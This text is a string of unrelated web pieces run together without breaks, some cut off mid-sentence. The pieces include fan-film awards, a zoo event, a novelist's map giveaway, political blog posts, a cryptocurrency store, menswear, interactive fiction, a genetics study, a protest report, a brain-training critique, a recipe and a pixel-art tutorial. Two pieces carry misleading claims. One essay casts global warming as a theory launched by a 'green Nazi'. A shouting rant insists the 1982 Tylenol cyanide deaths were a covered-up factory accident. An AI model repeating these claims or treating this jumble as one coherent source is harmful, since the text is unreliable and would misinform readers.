Before we get to the winners, let’s take a moment to send a shout out to the full listing of the 2015 nominees:
And now, let’s get down to the good stuff, the 2015 winners are:
Best Production Design – Scott Cobb – Prelude to Axanar
Best VFX – Prelude to Axanar
Best Soundtrack – Prelude to Axanar
Best Original Screenplay – Prelude to Axanar
Best Actor – Vic Mignogna – Star Trek Continues
Best Director – Christian Gossett – Prelude to Axanar
Best Supporting Actor – Clay Sayre – Star Trek New Voyages: Phase II (Mind Sifter)
Best Dramatic Presentation, Short Form – Prelude to Axanar
Best Dramatic Presentation, Long Form – Star Trek Continues
Kudos to everyone that was nominated, and really, to everyone who continues to keep Trek alive by be a part of those as well as all of the rest of the independent projects that are out there. It’s been a half century since the original series aired and began a legacy which continues to inspire filmmakers, writers, artists, and fans. Recognizing their efforts and celebrating their outstanding achievements helps to set the bar for the upcoming year and it’ll be exciting to see where the community of creators takes it next.The Detroit Zoo lights up the night with Wild Lights, a spectacular holiday light display presented by Bank of America. More than two million twinkling LED lights brighten the evening sky and illuminate buildings, animal sculptures and trees through the front of the Zoo.
"The Detroit Zoo is a magical place in winter and it will be even |
a real book-map; instead I needed one for the purpose of navigation as I wrote the story. I drew my map to keep the towers straight in my mind, and to play with windflow and light. I added a small compass rose to the original one as a joke, because I love compass roses. Later, I shifted that to an arrow, because there aren’t any sailors in Updraft.
The Arched Doorway is a great source of new reads and opinions, so I thought I’d do something special for you guys! … For the first time, I’m revealing a version of the final ‘sketch’ map for Updraft, never before fully seen in the wild (except in bookplate form) … :
Maps do things to stories. They ground them (literally) and allow the reader’s imagination to play against the guide. They help the writer too. For the map I made (a version of which I eventually cleaned up and distributed as one of the pre-order bookplates) I wanted to track several primary towers that are key to this story and the next.
The next map, for Cloudbound, will be much different again.
So! What are your favorite fictional maps?
Want your own copy of the map sketch above, signed by Fran Wilde? Enter our giveaway below!
Deadline for entry is 12am Tuesday, September 29th. Open to US and Canada residents only.
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Fran Wilde’s first novel, Updraft, debuted from Tor Books on September 1, 2015. Her short stories have appeared at Tor.com, Beneath Ceaseless Skies, Uncanny Magazine, and in Asimov’s andNature. Fran also interviews authors about food in fiction at Cooking the Books, and blogs for GeekMom and SFSignal. You can find Fran at her website, Twitter, and Facebook.
Like this: Like Loading...You know, if these Republicans really resent Godwin references (at least, in reference to themselves), it might be easier to avoid them if they didn't open themselves up by hiring someone like Fred Malek:
Bob McDonnell's choice for Chairman of [the Governor's Commission on Government Reform and Restructuring], Fred Malek, is kind of scary on the topic of government restructuring: "Malek is best known in political circles for resigning in 1988 as George Bush's hand-picked deputy chairman for the Republican National Committee after the Post's Walter Pincus and Bob Woodward reported that 17 years earlier, Malek had, at Richard Nixon's request, counted the number of Jews then working for the Bureau of Labor Statistics. (Thirteen, if you must know, though Malek only looked at 35 of the bureau's 50 top employees.) " Some people might ask- what is the statute of limitations on a mistake someone made like this 40 years ago? I don't think such a thing exists when you are talking about identifying and counting the number of Jews in government positions less than 30 years after the Holocaust. It's petrifying that this could have happened in this country.
If you're interested in delving into this nasty business of Nixon's anti-Semitic paranoia, Slate has the full story. Of course, the man who thinks we should have a Confederate History Month and that working women are a threat to the family and contraception should be illegal cannot be accused of having the sensitivity to realize what a disgusting man Malek is. Because Republicans forgive all sins except not being conservative enough in their perception or being willing to work with Democrats (Sorry, Bob Bennett), it should come as no surprise that Malek also worked on McCain's campaign, and by the looks of his personal blog, has worked up a nice career as a TV talking head.
Sigh. It just goes to show you that old bigots never fade away in the GOP, they just keep getting hired again and again. The Not Larry Sabato blog has a statement from a Virginia state delegate:At one point in his novel, Schwab opines on the fragile relationship between oxygen and carbon dioxide in the atmosphere. Assuming the planet has only about 100 years remaining, Schwab frets over the continuing rise of carbon dioxide that "will absorb and hold fast the warmth given out by the earth. This will cause the climate to become milder and the Polar ice will begin to thaw. As a result, there will be a rise in the level of the ocean and whole continents will be flooded."
Schwab had been a strong nature lover since boyhood, and by the 1920's he became very active in the emerging environmental movement in Austria. Later, he joined the Nazi Party. While this may sound odd to many who have bought into the Marxian propaganda over the years that the Nazis were right wing capitalistic extremists, greens who signed up for the Nazi Party were actually very typical of the day. The most widely represented group of people in the Nazi Party was the greens, and Guenther Schwab was just one of among many. The greens' interest in lonely places found a solitary niche in the singleness of Adolf Hitler, who ruled the Third Reich from his spectacular mountain compound, high in the Bavarian Alps called the Berghof. In English, this could easily be translated as Mountain Home, Bavaria.
After the war in the 1950's, Guenther Schwab's brand of environmentalism also played a fundamental role in the development of the green anti-nuclear movement in West Germany. The dropping of the atom bomb and the nuclear fallout of the Cold War helped to globalize the greens into an apocalyptic 'peace' movement with Guenther Schwab being one of its original spokesmen. The unprecedented destruction in Germany brought on by industrialized warfare never before seen in the history of the world only served to radicalize the German greens into an apocalyptic movement. Their hatred toward global capitalism became even more vitriolic precisely because the capitalists were now in charge of a dangerous nuclear arsenal that threatened the entire planet.
The success of Schwab's book helped him to establish an international environmental organization called " The World League for the Defense of Life." Not surprisingly, Werner Haverbeck, former Hitler Youth member and Nazi environmental leader of the Reich's League for Folk National Character and Landscape, later became the chairman of Schwab's organization. In 1973, Haverbeck blamed the environmental crisis in Germany on American capitalism. It was an unnatural colonial import that had infected Germany like a deadly foreign body.
Both Schwab's organization and Haverbeck were also instrumental in establishing the German Green Party in 1980. Such embarrassing facts were later managed with a little housecleaning and lots of cosmetics, which was further buoyed by characterizing such greens as extreme 'right wing' ecologists -- a counterintuitive label that continues to misdirect and plague all environmental studies of the Third Reich. Worst of all is that Haverbeck's wife is also a Holocaust denier.
Long before Al Gore's " Inconvenient Truth," green Nazi Guenther Schwab played a large role in catalyzing the frightening theory of global warming. With no small thanks to Schwab, the Great Tribulation of Global Warming was ushered into the modern consciousness behind the collapse of the Millennial 1,000 year Third Reich. There is therefore a swastika in the German woods that needs to be closely watched here.In its latest newsletter, Reddheads.com, the official community website for the digital currency Reddcoin, announced the launch of a Reddcoin-only e-commerce store called Reddibrek’s.
Described in a YouTube video as “the social currency for the digital age,” Reddcoin is a “decentralized digital currency that makes the process of sending and receiving money on social networks fun and rewarding for everyone.” The video states that unlike Bitcoin, which uses a mining process to produce new coins “by consuming massive amounts of energy and computer power,” Reddcoin employs an environmentally-friendly minting process that allows anyone, irrespective of their technical skill level, to mint Reddcoins using a laptop, mobile phone, or tablet. According to the video, since its launch in early 2014, Reddcoin has already achieved the widest adoption on social media platforms worldwide among all digital currencies.
An “independent personal endeavour” of Reddheads’ chief editor, “Reddibrek’s aims to break a certain stereotype when it comes to e-commerce stores that accept cryptocurrency. While coming up with the concept for the site it was noted that a large number of the stores that accept cryptocurrency are small IT businesses or ‘geek’ computer hardware sites.”
The newsletter states that it is also often the case that such websites accept a wide range of digital currency, a strategy that can lead to a “somewhat messy and confusing experience” at the check-out point. As new coins arise and old altcoins wither, “accepting a wide range of cryptocurrency leaves merchants in an unstable position.”
According to the newsletter, Reddibrek’s will operate entirely on Reddcoin, including paying salaries and supporting IT development and marketing using the digital currency.
“This is our policy and the way we would like to conduct our business, and we are able to adopt this strategy thanks to the fact that the Reddcoin project is being developed by a team of skilled and disciplined people who are dedicated towards building the social currency up to become a serious player in the world of digital payments,” states the newsletter.
Reddibrek’s sells chilli, chocolate, and coffee on the ad-free e-commerce store. Why these items? Because, according to FAQs from the site, these “are delicacies appreciated by human beings all over the world, including us!” Reddibrek’s says it “aims to develop a catalogue of top-quality products and to propose the best possible service for our customers. In many cases we are already offering the most competitive prices on the Internet.”
The e-commerce store launched this month and currently delivers to 8 European nations: Austria, Belgium, Germany, Italy, Luxembourg, Portugal, Spain, and the UK. The company is exploring the best way to ship to nations worldwide.
Having achieved its goal of being “reddy” for Christmas, Reddibrek’s has developed a comprehensive business plan that entails broadening the size of its catalogue, offering new ranges of quality products, and shipping to additional destinations.
“But perhaps the most important part of the plan for the future is the integration of the new, cutting-edge Reddcoin functionality that is being developed under the project name Social X,” states the newsletter. According to a Reddit post, there are three key problems Social X aims to solve: Why are wallets so difficult to use? Why is it so hard for me to tip someone? Why can’t I use a service without giving up control?
The newsletter about Reddibrek’s concludes by stating “we have built and will continue to build the store around Reddcoin as we believe that by doing this we will remain at the forefront of a new paradigm in e-commerce.” One example given is a Redd-ID that would allow the company to offer its customers a new method of managing their account with the store while maintain the streamlined model Reddibrek’s has set up.
Image via Reddit’s /r/reddCoinIf I could only wear one shirt style for the rest of my life, it would be, without a doubt, the oxford cloth button down (or as it’s also known to style enthusiasts, the OCBD). The OCBD is perhaps our country’s greatest sartorial contribution. As the story goes, it has its beginnings in 1896, when Brooks Brothers‘ John E. Brooks (who was the grandson to the founder Henry Sands Brooks) saw polo players in England wearing shirts with two buttons at the front to secure their collar tips. This prevented their collars from flapping into their face while they were playing. Men had many ways of securing collars at this time of course – collar pins, wire contraptions, and heavy starch, for example – but this was the most practical for sporting purposes.
John E. Brooks was quite enamored with the invention, so he sent a sample back to his main store in New York City with instructions to have the collar copied exactly, down to every last measurement. In 1900, the company put the new collar style on their ready-made sport shirts. These were called “polo shirts” for their polo-inspired collars. Not too long after, the polo collar was put on white cotton cheviots (also known in the trade as “oxford”) and the American OCBD was born.
The shirt was almost an instant classic. By 1915, it was a fashion staple for men at almost every East Coast college, and by mid-century, it spread West. Bob Newhart named his first record album after them. Politicians wore them while kissing babies. Style icons Paul Newman, Miles Davis, and Gianni Agnelli were all regularly seen in them. They became something of a symbol of all that was good: casualness, youth, education, trustworthiness, dependability, sport, and professionalism. They were something a man could wear in the country or city, in sport or business, on weekdays or weekends.
Unfortunately, the OCBD has been modernized, and a lot of what enthusiasts found charming about the original version has mostly been strangled out. At the heart of this transformation is the collar. The original collars had long points and were made without any interlining. This resulted in a very unique, soft roll that would change depending on the wearer’s position, movement, and even the way he happened to tie his tie that day. It was asymmetrical, wrinkly, and frankly even a bit messy looking. But therein lies the charm. These days, most button-down collars are lined (some heavily) so they look more “controlled” and “perfected.” Many also have shorter collar points. Some are so short that there’s no roll at all when the tips are buttoned; the points just lay flat against the body, like a regular point collar with two buttons sticking out. The death knell, I think, was the introduction of the non-iron oxford cloth, which lacks any of the individual expression, casual ease, and lived-in look that made the original oxfords charming. The combined effect of all these things is shirts that look a bit lifeless. As one of my favorite blogs, Heavy Tweed Jacket, once wrote of them, “one might say that contemporary shirts […] are almost too well-made.”
Indeed, few people make the original OCBD like they used to, but that doesn’t mean there aren’t great options still worth buying. And the OCBD is still one of the most versatile shirts one can own. It’s something you can wear underneath rustic tweeds, navy blazers, softly tailored suits, or fuzzy sweaters. You can even just wear it alone with a pair of trousers and some loafers. A blue semi-spread collar shirt is arguably just as useful, but I’ve never worn one that has brought a smile to my face like a good OCBD. There’s just something about that collar roll and traditional American spirit.
So as an ode to my favorite shirt, I thought I’d do a series of posts on OCBDs. A few friends have generously lent me their vintage Brooks Brothers shirts, which I’ll take pictures of and describe, so people can see how the “genuine articles” have evolved over time. I’ll also do a quick review of something around ten or so different OCBDs, at every price point, so people can figure out who they can turn to in case they haven’t yet settled on a favorite maker.
Get ready for some OCBD adulation.You continue to work with Dent over the next week, helping him refine his plans for reform and pledging funds. Things are busy at work – Lex Luthor has invented a sort of military-grade flashlight capable of melting steel, with some interesting industrial applications. You move quickly to try and snag some of the patents.
You find some time to deal with the plans for the new Arkham Asylum, as they’ve decided to call it – the new facility will be headed by Dr. Strange, a researcher who’s produced promising results with prisoner reform. You make a few minor corrections to the plans, which contained rather large security holes, although likelihood nobody would ever have actually used them to escape.
The crimewave doesn’t stop, of course.
Several people are killed in particularly violent muggings and jewelry store robberies. Witness reports suggest that at least two of each were by the same group of surprisingly-prolific thieves.
The Kandaqui Dynasty diamond is stolen from the Gotham Art Museum. Several guards are decapitated by an unknown assailant, the heads removed from the scene.
Mayor Hill is murdered in his home, along with – embarrassingly – Guido Bartinelli, a well-known gangster. A note with a “?” is left on the scene, but nobody can figure out what it means. Something of a miniature gang war has sprung up as a result.
Several more apparently-unrelated shipments have been attacked. Witnesses report the culprit is a “ghost”, wearing a green cloak and surrounded by a blue-green aura. It becomes something of a major tabloid story – the “Green Specter”.
Otherwise, life largely goes on as normal. Do you want to do anything?
Advertisements6mA(ce) in the hole. m6-A is utilized by the cells to curb the activities of young active transposons on ChrX (green lines). Credit: Kristin Robertshaw, Pacific Biosciences The sex of human and all mammalian babies may be determined by a simple modification of a virus that insinuated itself into the mammalian genome as recently as 1.5 million years ago, a new Yale University-led study has found.
"Basically, these viruses appear to allow the mammalian genome to continuously evolve, but they can also bring instability," said Andrew Xiao of the Department of Genetics and Yale Stem Cell Center, senior author of the paper published online March 30 in the journal Nature. "Aside from the embryo, the only other places people have found this virus active is in tumors and neurons."
Xiao and the Yale team discovered a novel mechanism by which the early embryo turns off this virus on the X chromosome, which ultimately determines the sex of an organism. If the level of this molecular marker is normal, X chromosomes remain active, and females and males will be born at an equal ratio. If this marker is overrepresented, X chromosomes will be silenced, and males will be born twice as often as females.
"Why mammalian sex ratios are determined by a remnant of ancient virus is a fascinating question," Xiao said.
Tens of millions of years ago viruses invaded genomes and duplicated themselves within the DNA of their hosts. Xiao estimated that more than 40% of the human genome is made up of such remnants of viral duplications. In most cases, these remnants remain inactive, but recently scientists have discovered they sometimes take on surprising roles in developing embryos and may even push mammalian evolution. Researchers found that the virus active in the mouse genome that influences sex ratios is relatively recent—in evolutionary terms—and is enriched on the X chromosome.
The Yale-led team found the mechanism that disables the virus. The newly discovered modification in mammals is a surprising expansion of the epigenetic toolbox, say the researchers. Epigenetics modulates gene expression during development without actually altering the sequences of genes. In the new marker, a methyl bond is added to adenine—one of the four nucleotides that comprise base pairs in DNA—allowing it to silence genes. For decades, most researchers assumed that a modification of the nucleotide cytosine was the only form of gene silencing in mammals.
Xiao said it is possible that this mechanism might be used to suppress cancer, which has been known to hijack the same virus to spread.
He also noted in other organisms, such as C elegans and the fruit fly Drosophila, this mechanism plays an entirely opposite role and activates genes, not suppresses them.
"Evolution often uses the same piece but for different purposes and that appears to be the case here," Xiao said.
Explore further: Scientists uncover history of ancient viruses as far back as 30 million years ago
More information: DNA Methylation on N6-adenine in mammalian embryonic stem cells, Nature, DOI: 10.1038/nature17640— Hundreds of non-union workers took to Minneapolis streets Thursday morning to protest for fair wages.
They were joined by supporters from the community, asking corporations to do their part in ending the racial and economic disparities in Minnesota.
Protestors blocked traffic coming into downtown Minneapolis, causing backups for nearly an hour. Protestors hope their actions got the attention of corporations.
Non-union workers met outside Macy’s on Nicollet Mall to demand better pay and working conditions.
These retail janitors work for contracted companies, cleaning stores like Macy’s, Kohl’s and Sears.
Marcela Flores is not on strike but was in the crowd to support fellow janitors.
“Once we were there we realized how much support we actually have of the community and everyone behind us,” Flores said via an interpreter.
She says protesters blocking traffic during a busy morning commute was not a planned event.
“Our idea today wasn’t to block the highways. Our idea was to expose the crisis … and the unfair conditions we are forced to live, so that our message can get to the corporation,” she said.
The Minnesota State Patrol was called in to deal with the miles-long traffic backup. Traffic management cameras captured frustrated drivers in their cars, with the highway looking more like a parking lot for about an hour.
These non-union workers were not alone. People from the community were also in the crowd to support the cause.
Javier Morillo says the protest sends a strong message to Minnesota corporations, some of the wealthiest in the country, about paying people a living wage.
“Workers everywhere across this country are raising their voices and the community is hearing it,” Morillo said. “It’s time to share the wealth … The community office real estate right now, vacancies are low, the rental rate are high and workers across the country are winning along these lines and we’re just here to say if not now, when?”
Non-union workers say they were inspired to protest Thursday by SEIU Local 26 janitors, who held a one-day strike Wednesday for better wages.I'm not old by any means, but I've become a little more forgetful lately.
This morning I poured myself a thermos of coffee and left for lab, abandoning it on the kitchen counter. I nearly forgot about the paper I had to review this week until I saw the deadline looming on my desk calendar. And I didn't remember my friend's birthday until logging into Facebook-and I'm always the one people rely on to remember birthdays.
I sure could use a little memory boost. Unfortunately, despite the growing popularity of brain-training apps and programs like Lumosity, CogniFit, CogMed, and Jungle Memory, I'm not going to find any help here.
They're totally bogus, you see.
Lumosity co-founder Michael Scanlon means well, though. He started up the company in 2005 with Kunal Sarkar and David Drescher, after dropping out of his neuroscience Ph.D. at Stanford. Since then, the company has reached more than 35 million people and this time last year the company's mobile app was being downloaded nearly 50,000 times a day.
"Lumosity is based on the science of neuroplasticity," the commercials tout, and Lumosity's website advertises its ability to "train memory and attention" through a "personalized training program." This plan includes more than 40 games designed to boost memory, flexibility, attention, processing speed, and general problem-solving ability.
Lumosity has even put out a fancy PDF describing the science behind their games and changes in individuals' BPT (brain performance test) scores before and after training.
A year after Lumosity's official launch in 2007, Susanne Jaeggi and colleagues at Columbia University published a study suggesting that memory training not only enhanced short-term memory ability, but actually boosted one's IQ an entire point per hour of training. Wow!
But Thomas Redick and colleagues at Georgia Tech thought it sounded too good to be true. With a skeptical eye, they attempted to replicate Jaeggi's findings. This time, unlike Jaeggi's study, they tested 17 different cognitive tasks, including tasks for fluid intelligence, multitasking, working memory, and perceptual speed. They also had two control groups: one that underwent placebo training, and one that did no testing whatsoever.
After 20 sessions, Redick found that while participants improved performance on the tasks at hand, their newfound abilities never actually transferred to any global measure of intelligence or cognition. Their study was published last May.
Another investigation, published in December by a group at Case Western Reserve University, employed a similar placebo-controlled design. Focusing on working memory and abstract problem-solving, they found that even training for up to 20 days resulted in no significant improvement in mental capacity. Again, though, the researchers did note that performance on the specific tasks improved.
When Adrian Owen and colleagues of Cambridge University reported similar results after a six-week online cognitive training regime using 11,400 participants, he attributed these task improvements to familiarity-not a true change in cognitive ability.
And a recent meta-analysis of 23 studies confirmed these and others' findings. Monica Melby-Lervåg and Charles Hulme of University of Oslo concluded that brain-training programs did indeed produce short-term, highly specific improvements in the task at hand, but with no generalized improvements to overall intelligence, memory, attention, or other cognitive ability.
In other words, according to these studies, it seems that remembering which shape came before the circle in the sequence will not help you remember that one last item on your grocery list as you're out shopping. And it certainly won't raise your IQ by any significant amount.
In this age of tablets and mobile devices, it's unfortunate that something so readily available cannot help us exercise our minds in ways that may benefit us beyond the screen.
And these revelations may be especially bad news for many who rely on apps like Lumosity everyday—the elderly attempting to ward off dementia, for example. Or those suffering from brain trauma and individuals with learning disabilities.
The takeaway message from these studies?
If you enjoy the games, by all means continue. But don't necessarily believe the hype nor continue wasting your money if you're using these apps to truly improve your memory, reaction time, or intelligence in the longer term.
If the idea of using mental exercise to stave off the effects of age on memory and other functions still appeals, then continue to expose yourself to a variety of problem-solving skills throughout the day—and not necessarily on the computer.
Or, if you're anything like me, just try to remember where you actually placed your morning coffee before you leave the house.
The shot of caffeine probably does more for my workday brainpower than any brain-training app will.
--
Originally published at The Conversation UK.
Image credit: Francisco Martins (Flickr), Gord Fynes (Flickr), Aaron Gouveia
Chooi, Weng-Tink (2012). Working memory training does not improve intelligence in healthy young adults. Intelligence, 40 (6) DOI: 10.1016/j.intell.2012.07.004
Jaeggi, S.M., M. Buschkuehl, J. Jonides, and W.J. Perrig. 2008. Improving fluid intelligence with training on working memory. Proc Nat Acad Sci DOI: 10.1073/pnas.0801268105.
Melby-Lervåg, M. and C. Hulme. 2013. Is working memory training effective? A meta-analytic review. Dev Psychol 49(2): 270-291.
Owen, A.M., A. Hampshire, J.A. Grahn, R. Stenton, S. Dajani, A.S. Burns, R.J. Howard, and C.G. Ballard. 2010. Putting brain training to the test. Nature 465: 775-778.
Redick, T.S., Z. Shipstead, T.L. Harrison, K.L. Hicks, D.Z. Hambrick, M.J. Kane, and R.W. Engle. 2013. No evidence of intelligence improvement after working memory training: A randomized, placebo-controlled study. J Exp Psychol Gen 142(2): 359-379.Homemade fruit leathers
When my mom was still packing my lunches I always wanted her to include a Fruit Roll-Up or a Fruit by the Foot. The sugary, brightly colored treat was the perfect snack from the prospective of a kid in elementary. But a quick glance at the ingredients and it makes you think twice — maltodextrin, the ever controversial corn syrup, partially hydrogenated cottonseed oil, acetylated mono and diglycerides sodium citrate, malic acid, xanthan gum, locust bean gum, potassium citrate, yellow 5, red 40, and blue 1. Oh yeah, and fruit.
But those delicious treats don’t have to be filled with all that crap, and you can make them at home too. Pretty easily in fact. Here’s what you need:
2 lbs of peaches (canned or fresh)
1/2 cup water
1/4 cup sugar
Juice of half a lemon
Combine the water and sugar, dissolve over heat. Add the peaches and bring to near boil.
Add the lemon juice, then put the mixture into a blender and puree, or use a stick blender to do it in the pot.
Turn on oven to 180 degrees F.
Bring that all back to a boil and reduce by at least a third, or until about the consistency of apple sauce or baby food.
Spread the mixture on cooking sheets covered with parchment paper. Spread out the mixture until it’s about 1/8 inch think. Pop in oven for 2-4 hours, until the fruit is tacky to the touch, but won’t spread to the touch either.
Cut with a pizza cutter, store in an air-tight container for up to a month.
Don’t be afraid to use other fruit, or combine fruit. Strawberry kiwi? Peach Strawberry? It all sounds pretty delicious.By: Scott Bartz, former J&J executive for 8 years. COMMENTS BY A READER: On September 29, 1982, seven people in the Chicago area died after swallowing Extra Strength Tylenol capsules full of cyanide. In news photos, cyanide is a whitish powder that probably looked like white Tylenol powder to the average, bleary-eyed line worker during a long shift. No one expected to find powered cyanide lying around. "Look! Someone spilled Tylenol powder. Toss it back in the hopper. Keep the capsule line moving." NO MADMAN DROVE STORE TO STORE PLANTING CYANIDE-LACED TYLENOL CAPSULES ON STORE SHELVES. WHO SAW ANY MADMAN TAMPERING WITH TYLENOL IN RETAIL DRUG STORES? THE FUMBLERS DID!...IN THEIR OWN IMAGINATIONS, WITH NO PHOTOGRAPHS AND NO EVIDENCE. THAT WEIRD, BOGUS MADMAN FANTASY NEVER HAPPENED IN REAL LIFE! SMALL KIDS INVENT IMAGINARY FRIENDS. FUMBLING TYLENOL INVESTIGATORS INVENTED THEIR OWN IMAGINARY MADMAN. THAT MADMAN FANTASY DIVERTED OFFICIAL INQUIRIES DOWN SHADOWY, SPOOKY, DEAD END ALLEYS, WHERE FUMBLERS' SPECULATIONS RAN AMOK. "LET'S INVENT A BOGEYMAN!" ONE FUMBLER SAID. "A REAL FREAK!" HERDS OF FUMBLING AND EXHAUSTED, SLEEP-DEPRIVED AND CAFFEINE-STOKED, HYPER-AGITATED INVESTIGATORS BOUNCED FROM ONE PRIME SUSPECT TO ANOTHER, LIKE DRUNKS SWATTING AT PINK ELEPHANTS AND BUTTERFLIES. AS THEY MUNCHED DONUTS AND GUZZLED COFFEE, EACH FUMBLER HURLED FRESH MAD WHOPPERS INTO THE MASTER WHOPPER HOPPER. AFTER SEVERAL TENSE HOURS, A SICK GALLOWS HUMOR CREEPED IN LIKE A GREEN FOG OFF LAKE MICHIGAN. THEY STARTED BEHAVING LIKE A GAGGLE OF MOONSHINE SOUSED MARK TWAINS PUFFING UP FROG TALES AND MIXING METAPHORS. EACH NEW WHOPPER IN THE HOPPER WAS LOONIER THAN ALL THE PREVIOUS. THE TYLENOL MADMAN SPROUTED A GLOWING SPIKED TAIL, PERFORMED INVERTED MAGIC TRICKS, WAS A CHEMIST, PICKED OTHERS' NOSES, COULD BITE THROUGH A LOOP TRAIN RAIL, HATED HIS MOTHER, ATE HIS OWN SPAWN, DROVE A 7-CYLINDER CHEVY, HAD A 700 IQ, WAS RETARDED, SMELLED EVIL, COULD FLY BACKWARDS FASTER THAN SANTA CLAUS ON CHRISTMAS EVE, WAS INVISIBLE...AND DIDN'T EXIST. THIS NEW WINDY CITY URBAN MYTH WAS BORN. THE "MADMAN GOING STORE TO STORE," FABLE WENT VIRAL. FIRST AROUND CHICAGO. THEN NATIONALLY. THEN GLOBALLY. LIKE CHICAGO'S FAMOUS POST CIVIL WAR, FLESH-EATING "CANDYMAN", THIS HOMESPUN MONSTER WAS SCARY AND EVIL! ADULTS AND CHILDREN EVERYWHERE TREMBLED AND CRINGED. DEAD PEOPLE REFUSED TO SLEEP ALONE IN THE GROUND. IMAGINARY, CREEPY STUFF BECAME FACT IN FUMBLERS' MINDS. FORMING A LYNCH MOB WAS SERIOUSLY BANDIED ABOUT, JUST LIKE THE ONE WHICH HUNG "THE CANDYMAN". IN HINDSIGHT, THE FUMBLER'S CONCOCTED TYLENOL CYANIDE MADMAN STORIES SOUND AS CHURLISH AND SILLY AS SAYING A MADMAN WENT STORE TO STORE PUMPING SAMONELLA INTO MILK AND COTTAGE CHEEZE. SCIENCE LONG AGO PROVED DAIRY SAMONELLA FLOWS THROUGH MILK REFINERIES IMPROPERLY PASTURIZING RAW MILK THAT ALREADY CONTAINS WILD SAMONELLA, AND NOT FROM MADMEN PROWLING RETAIL STORES. Samonella outbreaks pop up from time to time in eggs, canned meats, vegetables, milk products and uncooked food without any madman's help. Sloppy workers in dairy refineries are the avenues for dairy samonella Into breakfast cereal and coffee creamer. The same thing happened with Tylenol. Officials have long cited the scarcity of physical evidence and apparent lack of motive to explain why they never solved the Tylenol murders. Duh! Wonder why? In October 1982, Johnson and Johnson recalled and burned millions of Tylenol capsules, and the public flushed millions more Tylenol capsules down their crappers, at the frantic request of Illinois Attorney General Tyrone Fahner. Why? That burning and flushing destroyed 99.99% of the Tylenol murder physical evidence, including fingerprints and cyanide, all gone forever. That nuclear option was no accident. Sloppy J&J workers? Fatigue? Coffee? An industrial accident? Was this inside job, perhaps in the Fort Washington, PA factory, where the 1982 Tylenol had been packed in bulk barrels before being repackaged in the Chicago area, a common practice among drug companies back in 1982. NOT AN IMAGINARY MAD-MAN! NOT A FANTASY BOOGEYMAN!
NOT A PLAUSIBLE SCAPEGOAT!
JUST SLOPPY, EXHAUSTED J&J LINE WORKERS, FATIQUE AND COFFEE. INDUSTRIAL ACCIDENTS HAPPEN AND PEOPLE SOMETIMES DIE. After 3 decades, and tons of urban myth, history has come full circle. The FDA closed that same Fort Washington Tylenol plant in April 2010 for being nasty and contaminated. This cleanup required a bit more than Windex and Spic & Span. Google it yourself. Today, after 3 years, Fort Washington remains closed. After 3 years? Must have been ugly contaminated! Find any lethal toxins there?
Oh, you are not talking! I see. FINALLY, THE SMOKING GUN WHICH KILLED LYNN REINER WAS FOUND. HER GRIEVING DAUGHTER, MICHELLE ROSEN, POSES THE QUESTION BEST. Michelle asks, "HOW DID A MADMAN GET INSIDE THE LOCKED, CENTRAL DuPAGE HOSPITAL PHARMACY IN WINFIELD WITH ALL THAT EXTRA STRENGTH TYLENOL FULL OF CYANIDE WHICH KILLED MY MOM, MARY 'LYNN' REINER, ON THE FLOOR IN FRONT OF ME, AS I WATCHED HER DIE, WHEN I WAS ONLY 7 YEARS OLD?"
"MY MOM HAD JUST HAD A BABY IN THAT HOSPITAL," SHE CONTINUED. "AS WAS CUSTOMARY, THE HOSPITAL GAVE MY MOM EXTRA STRENGTH TYLENOL AS A GOING AWAY PRESENT," MICHELLE SOBBED. "I HAD TO GROW UP WITHOUT A MOTHER."
AT THAT POINT, AUTHORITIES' MADMAN THEORY FELL FLAT ON ITS FACE. OFFICIALS WERE CAUGHT LYING. NO MADMAN COULD HAVE RESTOCKED THE HOSPITAL'S SUPPLY OF TYLENOL. BUT J&J COULD HAVE, AS PART OF ITS MARKETING,"FREE TYLENOL FOR NEW MOTHERS." INTO THAT HOSPITAL CAME THE CYANIDE INSIDE J&J'S OWN FRESHLY MINTED TYLENOL SINGLE-DOSE PACKETS, AND MARY REINER DIED. IN 1982, MOTHERS DELIVERED LOTS OF BABIES IN LOTS OF HOSPITALS. MANY OF THEM STILL REMEMBER GETTING FREE TYLENOL SAMPLES WHEN THEY WENT HOME. ASK AROUND.
Scott Bartz's exposé, The Tylenol Mafia, is fascinating and it is chilling.
New revelations and information not previously disclosed reveal a very different view of the 1982 Tylenol cyanide mass murders which should have been solved in October 1982.
Dramatic in its warnings, The Tylenol Mafia rips away the revulsive façade that J&J CEO James Burke labeled “A demonstration without parallel of government and business working with the news media to help protect the public.”
Order it and read it. --By: James Wm. LewisA Toronto police officer says she suffered "repeated and systematic" sexual harassment by her supervisors in a "poisoned work environment" that eventually pushed her to |
sizes don't look quite right. Inconsistent pixel sizes don't look quite right.
Trying to scale your assets manually can also lead to inconsistencies in your pixel scale. In the example above, notice how the pixels in the game title are huge compared to the tiny pixels in the 'Play Now' button text. Also, our game character is blockier than his gem or the cave floor. Some of these are subtle differences but they all add up to make the game look a little bit 'off'.
Neven Mrgan (co-creator of The Incident) talks a little more about this on his blog.
Drawing Pixel Art
Creating great-looking pixel art can be extremely challenging. It takes lots of practice, and is a topic too lengthy to fully cover in this tutorial. Here are a few links to get you started though:
Drawing & Animation Tools
Many people use regular graphics programs like Photoshop, Gimp, or even MS Paint to draw pixel art.
I found it frustrating to use Photoshop once I started trying to animate characters and lay out seamless tiles. So I created a tool called Pickle to help fill in some of the functionality that was missing from traditional editors, like live animation previews, seamless tile previews, and terrain tile previews.
Pickle has a limited feature set and doesn't meet everyone's needs. Luckily there are other similar apps like Pyxel Edit, ASEPRITE and GraphicsGale.
Tutorials
There are a lot of good pixel art tutorials online. Here are a few that I've found helpful in the past:
Character Design
Designing convincing characters with lo-res graphics can be really difficult. How can you depict enough detail to create a unique character with so few pixels and colors to work with?
As with drawing pixel art in general, character design is something that takes patience and practice. We can learn a few helpful strategies from classic game characters.
Use Limitations to Your Advantage
Take a look at our friend Mario here. Notice how few pixels are used to depict a recognizable human character. Three colors, no outlines, no shading. How can you draw a face with these limitations? Look at how the pixels that draw Mario's mustache also serve to define his nose and mouth as well.
It would also be difficult to draw Mario's arms at this level of detail without having them merge into his body, making his body look like a little blob. Mario's creators solved this problem by dressing him overalls. See how the lines of his clothing clearly separate his arms from the rest of his body? Genius!
In this case, adding specific physical attributes to the character (facial hair and overalls) actually make it easier to draw him within the graphical limitations. The limitations themselves inform the design of the character.
Go Abstract
Another technique for dealing with graphical limitations is to go abstract. Why bother trying to draw a recognizable human character, if you don't have to? Look at Pac-Man there. He's not a recognizable anything. He's just a yellow blob with a mouth.
Pac-Man is a memorable character despite his lack of physical attributes. He gets his personality from the gameplay - the way he moves through the maze, his sound effects and the way he interacts with his enemies.
